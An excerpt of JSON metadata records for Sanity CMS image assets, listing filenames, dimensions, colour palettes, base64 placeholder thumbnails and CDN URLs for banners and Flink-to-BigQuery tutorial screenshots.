+ Blume2000 Social Banner 2.png","path":"images/sczeoy4w/production/acbc9582569eb1c621e4aeba792142062e89f3e2-1200x628.png","sha1hash":"acbc9582569eb1c621e4aeba792142062e89f3e2","size":292403,"uploadId":"z6okydqp3wMiV4WCQF4XHHpFXiAclCRu","url":"https://cdn.sanity.io/images/sczeoy4w/production/acbc9582569eb1c621e4aeba792142062e89f3e2-1200x628.png"} {"_createdAt":"2023-09-07T07:34:04Z","_id":"image-f6e8c26c240ebdb314af60cd96a19b8d9c476f1f-1200x628-png","_rev":"jBJgpqpGruZvOgVMUC6M3K","_type":"sanity.imageAsset","_updatedAt":"2023-09-07T07:34:04Z","assetId":"f6e8c26c240ebdb314af60cd96a19b8d9c476f1f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8AAkM00-#t100~pD+t6t3IW00?ZIURo-:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACpElEQVQokVWSSU9TARhF3y8wcYCC7Sv0tX0dKbW2tBRolYotbRn6qCjOC8TEIFgtapHOAzKUQRtXRoOQaDRRFroxbpSFcePSv3MMmGhc3d2558t3hcOt4xjsk3h679AVuIe7J403kMHfn6MnVKInVMV3uorNU0BrWUAt55CdNYLhOsqFNZSJDfyhFdptOVoNGYRjmgt0uG8Ris4TGc4zEC8QHq4QHX1MNLHCYGKNUHwVd18VyZ5HZy8SSTRIP3xONr/B+uYOucp7gpENNKYsQrM4gct3m/BQlmiiSDRRJj62SHxsmaFknaHkBjFlk1ODdSwny9i7qsykd3jx8i2NRoOPHz/x+ctPpmbeIHVUEZq1E5zw3WYg9ojISIHISIlookZMWToADp/bZCj5hNODdcyuEg5vldT9LbZ33rG9/Yq9vW98//GLu5ld5BNrCCrtRdz+GSLDOeJKiVii8hcYH/tjGB5Zx3tqEX1HHoOjyMj4Osv1V3zY/cTXbz/Yeb1H8soWkmP1z8lO7zT9kQwD8SxnYgWCZ3P4ggt0BfJ4gyXcfWWs7gJt1iyiOUenr8rEtWeUF99RW9nl6tRLOruXEC0VhCOt4+hM17E6b2J3T2N3z2LqnEWyzaKzpmi3pNGa5xBND1Eb59Fa8ti7lgmEnxJVnhEZfUp3/ypmVxnRnEc43KzQpkliMF5BskwiGm+gt03j6Z3H05tDZ51DpUvRop87mEWbtYDTX6fvbAN/aB1PYAlXzyJmVxHRnEU40pxA0iiY5cvorTfQGCaRHTOEohX6B2vIjgeopH/AfQujs4bNs3TwJMm+QLt1HtGUQS1nEQ41KRxVjdGkPk+TeIljmqscl6aQHSnkzjQaY+o/w/1ha0zFg2w17JelUUn3aNHfR23K8xtSbIzOEEi5NAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f346d","foreground":"#fff","population":1.66,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":11.47,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":11.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2a8ce","foreground":"#000","population":2.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b82c3","foreground":"#fff","population":0.77,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6f7294","foreground":"#fff","population":4.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0744c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven + Blume2000 Social Banner 4.png","path":"images/sczeoy4w/production/f6e8c26c240ebdb314af60cd96a19b8d9c476f1f-1200x628.png","sha1hash":"f6e8c26c240ebdb314af60cd96a19b8d9c476f1f","size":263510,"uploadId":"0HTpF0blOgPDLWGngKkBAHvQFjt4cndG","url":"https://cdn.sanity.io/images/sczeoy4w/production/f6e8c26c240ebdb314af60cd96a19b8d9c476f1f-1200x628.png"} {"_createdAt":"2023-09-06T08:08:36Z","_id":"image-efb72525e7820ab954b41ae3aef445815c931e0e-1259x1295-png","_rev":"7lO65z9OheRFnytB4YWxHM","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:08:36Z","assetId":"efb72525e7820ab954b41ae3aef445815c931e0e","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9722007722007722,"height":1295,"width":1259},"exif":{"ColorSpace":1,"PixelXDimension":1259,"PixelYDimension":1295,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAABYlAAAWJQFJUiTwAAACdElEQVQ4jY1Ui4rbMBDM//9T+wWlUCgthaZ5nZ34/ZBlPWxnyqysJMflrjUMTmRpdnZ2tZvT6QVlVWM0HlobVFWFPM9RFMWKEn3fY5omLMsVy7J8iA0JeqVg7ITRODncdd3tTWithfB6vf4Tm3EcYUikPapWo6wqlGUpSiOapoExRhT8k9AYA2M9WuWQZg12+wO229/YbrfY7XY4nU64XC5QSonKeVkwz/NbLMud0HkP6ya0nUKSptjv9zgcDjeyum7ATEg4TfP9Pd9BUvHQWhsiz7McYrrn81mIirKUdKku7hOCG+kET3gP76dIaDB5Lx+HYUCWZaIsSRJkeY66roWQmVjr4JyTjCKhtVbOUQxFbXqlYayTSPzAlknTVFSSPC8KVHUdKq+U7CF5zMo5J2RcE8KiMVDaw/lAyN4jWQQDsNKhfcJBkkTP5ofCSFGqzmEY6cNjyi84Ho+CyyWTniQRvYrFeFbphR7qkRGDJ5ROz0jKohBUx0D0ioRPW2Z+IIyRgx+8fiPoa8QgaVpJM1y/967d9d6HN0KmPXp0g0PTW2l2bWh+aNr3nut6S/jI1QveTKKk6zWqZkBediiqHh27YFX4DPNajEgshPQn+peez0iSFGnK5s6k6mz2R9BXrvNtjHlOyOblJvYgwd9d276aOhFca9dvzrnXw4GjKSjUQsCoVMqDDMIKE4+/I3jWrH0Zx9s6viyqpscxKXBKMrly9wH7NmWC64+BzTrepMqDtvi57/H5S45vv0pkeZiB3EgVDBrB/xHRrjcKlbb4sR/w6WuL738U2m6AWS/7/0zpVx4GuRZqnFB1Xq5h6LuPe++95y9WKVk0vBh/AAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#505050","foreground":"#fff","population":0.98,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a346a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bbbdc1","foreground":"#000","population":1.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbbdc1","foreground":"#000","population":1.77,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6cacfc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4d67a4","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#396ace","foreground":"#fff","population":0.39,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-create-account-details.png","path":"images/sczeoy4w/production/efb72525e7820ab954b41ae3aef445815c931e0e-1259x1295.png","sha1hash":"efb72525e7820ab954b41ae3aef445815c931e0e","size":170280,"uploadId":"7AkA2wVTmwPE6n7pBcHmMhdFFKpgOSBo","url":"https://cdn.sanity.io/images/sczeoy4w/production/efb72525e7820ab954b41ae3aef445815c931e0e-1259x1295.png"} {"_createdAt":"2023-09-06T08:09:03Z","_id":"image-eb6cc819fd78d9e29bf41db797f1a1c64b3f586b-2234x1257-png","_rev":"7lO65z9OheRFnytB4YWxks","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:09:03Z","assetId":"eb6cc819fd78d9e29bf41db797f1a1c64b3f586b","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.777247414478918,"height":1257,"width":2234},"exif":{"ColorSpace":1,"PixelXDimension":2234,"PixelYDimension":1257,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAABrUlEQVQokY2S2Y7aQBBF/f8fAW27Nxt4RMKeBBR/AY9BApsYZSIjscVGLAJuVOVpJsrMQywdVS/u27e6ylNKQ2sDpRTCMGSkVDDGIooixHGMXq+Hfr//X3jWWmhNoppF6QKlDbSxoD2ChD8Sv4/j+I0ePFrQ7C6A7wcIAnIpEUoJ+YYilHpe6gzwXLcGlLZQOiKHEf8khECn00WnKyAEiYcMiVPKw+EQo9GISZIEaZpyTIg0RfryBUn6Ao9UQ6kh/BBdEaBL0ZcQgYYfkAvLh6bTKWazGebzOYqiwHK55JjnOY/LcoW8KOBpE0Eqi0AaSNVap7nUEadgoxjj8QSLxQLr9Rq73Q51XaNpGqauaxyPR2az2bRvSBWltzDGgJ6gLUa7Tvtfx2PkeYHtdssi5/MZ1+uVuVwuHE+nE++zYPxX9ahNXKu4OJlMsPxR4ndds8DtdsP9fn/yeDxYlNyz4Gd9NhgMnvFbluH19Re7oIMk6ERJjD6a7/f7VtAd/Be3nmUZqqriVAly6XBpN80RVbWGR2l91vFOkKCUV6sVDofDByhNKlZZ/sT32Rx/AAVkyv7Bj7cXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#545c74","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#393c4b","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b4b7c6","foreground":"#000","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b7c6","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b3b6c5","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c84ac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6e7390","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-create-JSON-key.png","path":"images/sczeoy4w/production/eb6cc819fd78d9e29bf41db797f1a1c64b3f586b-2234x1257.png","sha1hash":"eb6cc819fd78d9e29bf41db797f1a1c64b3f586b","size":247100,"uploadId":"wu63rjf8eNgcJFKlVJpptUvveUlrHkf0","url":"https://cdn.sanity.io/images/sczeoy4w/production/eb6cc819fd78d9e29bf41db797f1a1c64b3f586b-2234x1257.png"} {"_createdAt":"2023-09-06T08:09:33Z","_id":"image-2a2e1ac88bf15c9fb0813843c6faa096e62d7794-1148x1310-png","_rev":"jBJgpqpGruZvOgVMUB5gyo","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:09:33Z","assetId":"2a2e1ac88bf15c9fb0813843c6faa096e62d7794","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8763358778625954,"height":1310,"width":1148},"exif":{"PixelXDimension":1148,"PixelYDimension":1310,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAXCAYAAAALHW+jAAAACXBIWXMAABYlAAAWJQFJUiTwAAACP0lEQVQ4jY2UzY6bQBCEef9nyAtEOa5yjDaX5JYoUrSXZFfJAYOBscEww9/MUFE1jEVYWwtSaQymP3dXdzvSWqMoCqRpiiRJcDqdMI4jpmnaJSwK91HbtqiqCufzWU5jDKy1u4F+0RXIDJVSAiSM2Xnvd8Gcm9CPHsPo4f0KmOe56HK5oO/73cDReujOwXRO4NeS6eHxeJQsm6aBMS34fBgGWMuXb4vfDeMs3guw6zqo00mABLN8is2p6xpd32McrQRb91pudbKyiAFlWQqMZRPGezaobhrJlL46R588nJ/P8NmtYJIhG6HUPDbMkjD6SMgsew3Y6pavkdYGWZ7LDDI7ekjvCON5T3PWbp7F5RJgYwZk+RlJkkrZ9I1lUsz+nkLT/CbTqDEjsqLEIUmRZ5mMTgjiSFFr0PoZG2o3SxC1bYeiUFJymEWWzUwpBjOQvm4lpVtOwOzz3JTWSKmHw0GaEraGYoMIpF8Mei0n5zDMDZSxqetGQHEcCzSACeOAD4v5t7q8HZ2JGbIsAgKMCv86NH7vGk7BQ3pBzzjIa9FLercH6FdzGdEDQsOoBPFZKOMtmF08ve5yWVZSIhvBk/7tLddvgSw3yzLxjeuXpgmy41G6y5fDBrwFdaEpbDez0ZstCL8YgPeuaduUohrxO+7w9LfF058Wv+IO6sI9nmdvT5b/7fKPZ40PnxXefcxE7x8Vfr7UKKsaRmsZ3jVwHXwzw+e4xeP3Eg9fFR6+KHz6dsbLQaPR867Sm1vAe+B/NQ/+oedvzbAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#383837","foreground":"#fff","population":0.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a3369","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bfc1c3","foreground":"#000","population":1.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfc1c3","foreground":"#000","population":1.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cccfc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#747c74","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3565cc","foreground":"#fff","population":0.7,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-create-dataset.png","path":"images/sczeoy4w/production/2a2e1ac88bf15c9fb0813843c6faa096e62d7794-1148x1310.png","sha1hash":"2a2e1ac88bf15c9fb0813843c6faa096e62d7794","size":151646,"uploadId":"QBq9BESCOgMxzZBE0sKlNVuxOfTueD2y","url":"https://cdn.sanity.io/images/sczeoy4w/production/2a2e1ac88bf15c9fb0813843c6faa096e62d7794-1148x1310.png"} {"_createdAt":"2023-09-06T08:21:37Z","_id":"image-a8f9ab585f2b264fafffee79f5c3d6fc1cf0051b-1488x1796-png","_rev":"7lO65z9OheRFnytB4YX3se","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:21:37Z","assetId":"a8f9ab585f2b264fafffee79f5c3d6fc1cf0051b","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8285077951002228,"height":1796,"width":1488},"exif":{"ColorSpace":1,"PixelXDimension":1488,"PixelYDimension":1796,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAYCAYAAAD6S912AAAACXBIWXMAABYlAAAWJQFJUiTwAAACaUlEQVQ4jYVViY6rMBDr/3/laiWOcuQmXAU/eSAttOxrJCuBEscz40lvIQRoraGUes5N08gcY4fH44F1XbEsi4Dr/+FGwkTSti1arjm3PMDAOgfnPLzfwO/HcfyT/EZVRVEgyzLkRYm8qJAV9Y5GUFYNmoaHtFBaC+k8z9eESinc73fUdQ1jLIzrYFyEJmyEcT186NH3A4ZhEHXTND0Vvo8bTyWZtXYPZcWy4oSLfQDW7wq99xJKKsALPOSFIwHHUelNKY0sL5DlueSo6zoJ7YRxwjAtGKZVME4rHssfhNp45EWNsqzENs65ZzVfiPDdCBc2hDhhmpdrQucD8uKOLMslbKrcbHNG06ontLEYhvGaMMYoG6qqkpkqv8EYg77vrwnDbmyC62SNb0gd9JlDbcTYRVFCKQMfIrquR+zpvWvQh0ey9VRlbVGUtXRIWWncG49WB/jQgelg1QmuE46tx3EmtBF161C3dpsVO4VKPsOkMvqU81XIK43NtjI2wFheAlQW0UX670WQSBLR8ebhOHVK7AcpBr3H/FBJCjU9k4RIXfQ+1lPr2U2hD+GpgmTsbVaeMyufCIl3leuR8N52aJSTey+1GtXS5LzSCBLzPRXzNx7CjmIk056GdMiNOVPaiKmdsxI+N9Dov7+/+Pn5EVvxPZXT1Mm3iXTYvUv1t3EYhICK2AXJGtxQliXyPBdybk45fa/6vEMU8ofULQwnfcS19PD+/8Ln5L+/CrIyhyQIXQRvHVponrdccPPR1Azr6L/3DklDFJKoNZuhIw29V/vK2O+G/lDIk3mFaeMEVgz+AkNNM5V+U/gPR0tJuC+eMLEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#54555a","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#16246e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7b7b7d","foreground":"#fff","population":0.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acacd4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4bcd8","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7b7b7d","foreground":"#fff","population":0.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#334ed6","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-grant-permission-table.png","path":"images/sczeoy4w/production/a8f9ab585f2b264fafffee79f5c3d6fc1cf0051b-1488x1796.png","sha1hash":"a8f9ab585f2b264fafffee79f5c3d6fc1cf0051b","size":261658,"uploadId":"6026Zf0c7YOyUY7gcEMyFxXrBQgrNXSM","url":"https://cdn.sanity.io/images/sczeoy4w/production/a8f9ab585f2b264fafffee79f5c3d6fc1cf0051b-1488x1796.png"} {"_createdAt":"2023-09-06T08:25:20Z","_id":"image-8c34edd103bed139136311f57c963c09f630c640-3336x1710-png","_rev":"Dk4vsGyYpr9Xi9g7qxxONB","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:25:20Z","assetId":"8c34edd103bed139136311f57c963c09f630c640","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9508771929824562,"height":1710,"width":3336},"exif":{"ColorSpace":1,"PixelXDimension":3336,"PixelYDimension":1710,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAAB3ElEQVQokX2RXW8SQRSG+bWl0NICkhgaoFraeGljYemFH0TWmBqbqNGm2iIgSRONqbRXGi5MY7us7LIssLvs1+xr5kAtpo2TPJk5F/PMO+eE5mJbCC9NuJ19jN3XTXxvn+HXxW90VR39gQl9eIlF9WBkodPtY+/DV2TzFSzeKiGW2qY9NBd7gPnlApG+U8bb/S84lxRo+ghDw8LY8eB4/hWuD9dnJD+otUgYTQokW0iScGsijBeRWXuK99VjSLIGhafTR7AdFywIEEzhZ75My0a1cYLMWgWRuIBookSEwksFROJFIrcu4qD2DZKkoCN10VN1OLaDgDEEwRVAANMa42PjBNm8iGhCoHSUkGQJ/oKA1Q0Rh7UWunIPuqLB0HR4lgnmumDMB2OMIKE5EebWxX97yEWX5KZCVdFhDYYYD4ZwDBOubcNzPfi+T/CUhjEVbvxHyBNW6y30+yPYY5twHRe+x0WTdBzeS2Mm4UJSQCxVullYb57Sd2gA08uzi9eex6D2DOwfHiOTr5CQy64J+ZTf7H3GzzMZHVmD1Old4/xCxY+2jOZRG2WxhvRq+e9AaCizwtTKI9wvvMKzF3Xs7H66kecvG3hSqWKz+A537+0gmX5IySKJEsLLAv4AHHiBAWmuNAgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e3c72","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#222574","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6c7494","foreground":"#fff","population":33.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3bcbe","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc9c9c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c7494","foreground":"#fff","population":33.56,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#393ec5","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-add-new-sink-table.png","path":"images/sczeoy4w/production/8c34edd103bed139136311f57c963c09f630c640-3336x1710.png","sha1hash":"8c34edd103bed139136311f57c963c09f630c640","size":354548,"uploadId":"LleEsaSE2C3eMhDaTZvSmiT0rcYqM24c","url":"https://cdn.sanity.io/images/sczeoy4w/production/8c34edd103bed139136311f57c963c09f630c640-3336x1710.png"} {"_createdAt":"2023-09-06T08:24:55Z","_id":"image-d0ec4c5e76ce6ebffd58ef84e804ea5c68da0f2d-3313x1696-png","_rev":"Dk4vsGyYpr9Xi9g7qxxOIC","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:24:55Z","assetId":"d0ec4c5e76ce6ebffd58ef84e804ea5c68da0f2d","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9534198113207548,"height":1696,"width":3313},"exif":{"ColorSpace":1,"PixelXDimension":3313,"PixelYDimension":1696,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAAB30lEQVQokW3S3U/TUBjH8f2zMsesvAjRDAw6JVG4ksnGhQthiWTqBRJFUBhijOAsi2iMQqIms+u2rivtGtfTc/ryM+d0ogMuPum5+ubpc05sQJoDF5cyGEs9wPLjbXz+8h0/fir4pTTR1I7R0i3o7Uh07kBtGNjaOUD6zjIuXcmdiA1IGVwcuo/45QzGJ/NYefYOSk2Dadqw7d8gxAVjXh/P89HtEuyWv+H2TBHJ0dyJ2AVpTgS5a1OLeL7xAfWGAcOwYFk2GGMIwxBAJDoDlDKU5SPcultEYiSLwZGc0JtwHonheaRuLmH9lYyaqkFRaqjXm3AcgjAM+vCwSynK8uHZCXkoMZwVwYl0ARtbFTSaOlRVhao24HQdBEEgnAnuH2F69pHYnTS2EO1wUIz7L7i+WYGmmzBNSyCEiN/mPC/aH48TQvFePuwLcucE96EbHTjEFVyX9VCxN9oLO44bBWeK/bf8f3AyXcDLUgXHtg3me6DUFxiL+H4g8LNldfF296u4lORotjflqWDqxhKeru2hWtOgGxa0FtdBS++It9c2om9VaaPysYonK3uYmn4oYkmOX8rfIDc+kcdC/oX47dKbT+Lhlk7ZfH2A1TUZ+cIOZu+t4ur1RRHkTyY+lMUfNDGC5FRzJ7oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d3c7c","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#252a75","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6c7494","foreground":"#fff","population":31.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcac","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcacfc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c7494","foreground":"#fff","population":31.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5d65ba","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-add-new-source-table.png","path":"images/sczeoy4w/production/d0ec4c5e76ce6ebffd58ef84e804ea5c68da0f2d-3313x1696.png","sha1hash":"d0ec4c5e76ce6ebffd58ef84e804ea5c68da0f2d","size":392700,"uploadId":"P54cHZ27z7h35yJectBD83F3JxI2OBv7","url":"https://cdn.sanity.io/images/sczeoy4w/production/d0ec4c5e76ce6ebffd58ef84e804ea5c68da0f2d-3313x1696.png"} {"_createdAt":"2023-09-11T07:17:57Z","_id":"image-645bc93e17703a6f48254a02d9d577866628b5f2-576x581-svg","_rev":"Dk4vsGyYpr9Xi9g7qzo2lZ","_type":"sanity.imageAsset","_updatedAt":"2023-09-11T07:17:57Z","assetId":"645bc93e17703a6f48254a02d9d577866628b5f2","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eUP=sS014TROys4m3YD%WAtR%M#6xuogWBxun$o0jYjYMxKPRjWCf+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9913941480206541,"height":581,"width":576},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD90lEQVQ4jX2UW2xVVRCGjzFeHky8JD4QeSQ8qE9EoGdtFCI8SBQQRGJB8QaRyNWaRjCxIIgQFS3QzilIW5FLCJpqIIqUGG0gTapiojQqqQFqq0LS0p6ZM+uc0/bMb9buBpoU3Mlkr2StfOufmX9NKjXiY0WK1cL/dlbMY0UrKwqsNsBqg+zRJ9ncZ4XWhmctE5UbudeN3BaQqwe5IyB3MjUaGENvZkXEiiMJ0ETN2CMvWX+88NPhJVY3dQHIrTJym0BuF8h9AXLfjQKKR6o3G4MfZMU+VqioIQR7DArn2/LtzRVWP3M+atOvGEVvgdxOkDsEcsevCwzBivtZ0chqkgCDwkGR4g/+7KnXSp/MnoPasheNojdAbhvI7QW5z68LZMVNrJjIiqaQ8giFA5IbbPYdbQvs4xlTQelyo2g1yG0GuQ9BbsMNaohbWTEjqeFlViuKWpHV/hW13drdMcnqHh5v5GYZuRUgF1S+ZOTcjYC3sNpDrNjKitOs6Ge1flFrYY+l2tk+FpQebxQtNnJbQe5dkJtn5MaMAvri1ZTHsaKKFWdYLS9qnj1OS25wTaF1z4QEsM3INYHcUZB7H+Rm/Y9CTGe1r5IuX7GNCOePFX48uMZ2TasEpTNG7jDINYPcNyC3JwVyV0P6sinOxz68gxVLWO2sKOIOJ02BZPV8/pejVGp4vBK1ZRuNohojd8DIHbVgmwCyBKgXfk1lgZRo6S5RWymKc1cskyiEcL7L/9Gys/Tp/CWoLVtpmSnrjaJqo6jeKNqbssw14GUgpd0dQWUArhK1czFkJDA3eE7/+n390MFFM1Ezcb5RtAyUXgtKrwOllwbQfSA3BuTutd3T78bbd96Wu9h1Twz0wwrZ4xpQrVP6ZWu+vXle8fvqxQPN71QMHKtaN3Biy/JC2/7ZAbgM5J4HubmWmfIodkx4oNiyY5xwvkLUzo9MOYH3iNrXwvmGXE9PU+5i14k4enu/FCkeSCVPJrzF9ZaJXkXNpDlDTcun5S79XSVaujAqZbV/2OOIqH0raj2ipYJoyYuaskcuAIOPGkHuPctElaiZ/NzQoRee0s72D0QGukYCZXjdIWofidoh9siG/eRMHKEhYezsB7lqy0Rvonbyy6UD5Qt9R9t24UJ3crgUgkPKar+xt02i1iBqlxNQ2I8vDcA6kNsHcnVG0UbUli0vNT6xKN/evEGy/gx7hMPDw0ERoKdYUcEe9eKtn4NPQ9PCxR4IKS9M3uLOZFiutrpHnimezJRLX5bY48+4Pmq5YHRWVLPairiOHhqAsQtGAMeC3JNGbu1wxL6aO3Rw0cTcpe7H2INE7WdWC0NiO6s9zYrN8UU+KIbFEz0B/gekp3qTeH3spwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c4f36","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f2a08","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d37f35","foreground":"#fff","population":1.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1b6bd","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dca464","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#847c74","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d37f35","foreground":"#fff","population":1.12,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"bg-pattern-grey-orange-side.svg","path":"images/sczeoy4w/production/645bc93e17703a6f48254a02d9d577866628b5f2-576x581.svg","s